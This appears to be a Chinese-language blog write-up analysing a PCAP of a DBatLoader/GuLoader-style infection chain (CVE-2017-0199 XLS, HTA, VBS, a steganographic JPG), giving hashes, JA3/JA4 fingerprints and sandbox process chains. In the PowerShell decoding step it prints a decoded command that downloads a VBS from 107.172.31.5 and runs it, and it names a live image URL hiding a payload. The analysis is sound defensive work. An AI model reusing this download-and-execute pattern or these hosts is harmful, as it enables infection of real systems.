CVE-2017-0199 XLS --> HTA --> VBS --> 隐写术 --> DBATLOADER/GULOADER 风格恶意软件
基于PCAP的分析 | 日期:2025-03-12 | 作者:BlackOclock
14.1 完整攻击链总结
14.2 入侵指标(IP、哈希、域名)
14.3 建议
注意!!!在本分析中,仅使用了PCAP文件!不需要ZIP文件;
##1. 分析概述

图1: 从malware-traffic-analysis.net下载的源文件 - 仅使用了PCAP文件
2025-01-09(星期四):CVE-2017-0199 XLS --> HTA --> VBS --> 隐写术 --> DBATLOADER/GULOADER类型恶意软件
##2. 网络流量分析
2.1-协议层级 – 全局视图

我从协议层级开始,以获取流量的全局视图。这显示了每个协议的使用量。如图所示,TLS占所有流量的82.4%。此外,也存在媒体行和基于行的数据。然而,为了更好地理解网络活动,我们需要检查会话和端点。
2.2-会话 – 主要通信方与数据传输

我们使用会话来检测之间数据传输最多的IP对。分析显示10.9.1.101(主机)和104.17.201.1之间流量最大。使用了80和443端口进行数据传输。此外,我们看到有3 MB的数据从104.17.201.1传输到10.9.1.101(主机)。另一个关键发现是由于WAN IP(89.39.83.184)的连接,端口21上有连接,这暗示可能存在数据外泄。但我们现在还不确定,因为我们对此尚不了解。我们需要证据!
2.3- 端点

我们使用端点数来识别网络上的主要通信方。104.17.201.1有3 MB的发送数据(Tx),同时10.9.1.101有3 MB的接收数据(Rx)。此外,主要通信方是源地址104.17.201.1和目标地址10.9.1.101。
2.4- HTTP导出对象

导出用于识别通过网络传输的文件、数据、电子邮件等。每次分析pcap时,我们都应该检查此处以查看哪些数据包包含哪些数据。我们注意到88、132、2457和2468号数据包。
2.5- HTTP包含过滤器

如果网络上有http协议,我们应该在过滤器中检查png、zip、jpg、jpeg(隐写术)等媒体文件,因为攻击者经常在媒体文件中使用恶意代码以绕过杀毒软件检测。
#示例: http contains ".png" 或 http contains ".jpg" 或 http contains ".jpeg" 或 http contains ".zip"
当网络使用80端口时,我们就能看到这个过滤器为何重要。这里有一个.hta文件,它在第47个数据包中作为媒体文件发送。但当我们使用导出识别文件时,却没有发现。
##3. NetworkMiner分析

我们可以使用NetworkMiner在PCAP上更快地识别。如果你使用REMnux或Linux系统,可以在终端输入(networkminer pcap_name)
帧 = 47 文件名= seemebestthingsevermeetgivenbestthingsfornewways | 扩展名 = .hta | 大小 = 47 KB | 源IP = 192.3.27.144 帧 = 132 | 文件名= comonstraints | 扩展名 = .vbs | 大小 = 223 KB | 源IP = 107.172.31.5 帧 = 2457 | 文件名 = foeMMBIG | 扩展名 = .txt | 大小= 325 KB | 源IP = 107.172.31.5

JA3哈希:
06843d66057fc9cbe42e9d690308903(帧 8)62136a81b5b727d039d8160d188863aa(帧 14)3c4eb72b882d4d1442c67ce73f1292a9(帧 140)JA4指纹:
t13d1516h2_8daaf6152771_02713d6af862t13d201000_2b729b4bf63_29829a46703f那么,为什么我们需要JA4和JA3哈希?可能会有人问什么是JA3和JA4?
让我解释一下;JA3和JA4是基于TLS握手指纹识别TLS客户端和服务器的技术。JA3基于客户端握手包创建MD5哈希,用于唯一识别客户端应用(例如浏览器、恶意软件)。JA4是一种较新的技术。它类似于互联网流量的指纹。就像人类有独特的指纹一样,每个连接到互联网的软件都会留下独特的标记。更有助于找到C2服务器。
##4. Zeek(ZUI)日志分析
Zeek日志用于验证从HTTP流量中提取的文件。files.log显示了以下条目:
这些哈希后来用于VirusTotal查询。

HTA(seemebestthing…)
MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63

MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882

MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82
##5. 提取的文件及静态分析
在此,我们将把所有文件从pcap导出到桌面,并使用binwalk进行分析

HTA文件看起来很干净。我没有发现任何隐藏数据。它看起来像一个普通的文本文件。
VBS文件则不同。我在里面发现了两样东西:
一些Base64数据和一份HTML文档 这意味着VBS文件有多个层次。攻击者试图在其中隐藏代码。
TXT文件给出了一个奇怪的输出。它显示“Broadcom header”,这对文本文件来说并不合理。也许文件已损坏,或者内部还有另一层。我需要在沙盒中运行它以了解更多信息
##6. 分类及行为分析
我在沙盒中运行了HTA文件。以下是结果:

我们得到了HTA的结果。在Triage中评分为8/10。

包含5个步骤的进程链: mshta.exe(PID 1080)启动 它启动了cmd.exe(4952) cmd.exe启动了powershell.exe(4424) PowerShell启用了SeDebugPrivilege(以访问其他进程) WriteProcessMemory被多次用于代码注入
注入链:
mshta.exe(1080)→ cmd.exe(4952)→ powershell.exe(4424)→ csc.exe(4432)→ 未知进程(3332)
PowerShell还检查了正在运行的进程(发现)并查看了系统语言(可能为了躲避沙盒)。
我为HTA观察到的MITRE技术:
T1059.001(PowerShell) T1059.003(cmd) T1057(进程发现) T1134(令牌操纵) T1055(进程注入) T1614.001(语言检测)

我们在cmd.exe通过PowerShell命令中看到了FromString64Base。需要在CyberChef中解码它以查看base64中的代码。

在PowerShell命令中,我发现了一个Base64字符串。使用CyberChef解码后,我看到了以下内容:
URLDownloadToFile(0, "http://107.172.31.5/comonstraints.vbs", "...", 0, 0) Start-Sleep(3) Invoke-Expression "..."
这意味着从107.172.31.5下载comonstraints.vbs,等待3秒后运行。好吧,下一步将会下载comonstraints.vbs。

我们得到了VBS的结果。在Triage中评分为10/10。
进程链: Wscript.exe运行,并启动了PowerShell.exe
好吧,在图片中如果我们检查进程中的代码。我们可以看到 #x#.GIBMMeof/5.13.271.701//:p##h ----> 有一个编码的路径。http://107.172.31.5/foeMMBIG.txt(已在PCAP导出中看到)
同时还有一个网站 https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg,其中包含JPG内部的恶意代码。该JPG包含<BASE64_START>和<BASE64_END>标签。介于它们之间,这意味着存在隐藏代码。隐藏文本实际上是Base64,但反向书写。脚本首先反转它,然后解码。解码后,它变成一个小的程序(.NET程序集)并在计算机上运行。
我尝试下载JPG。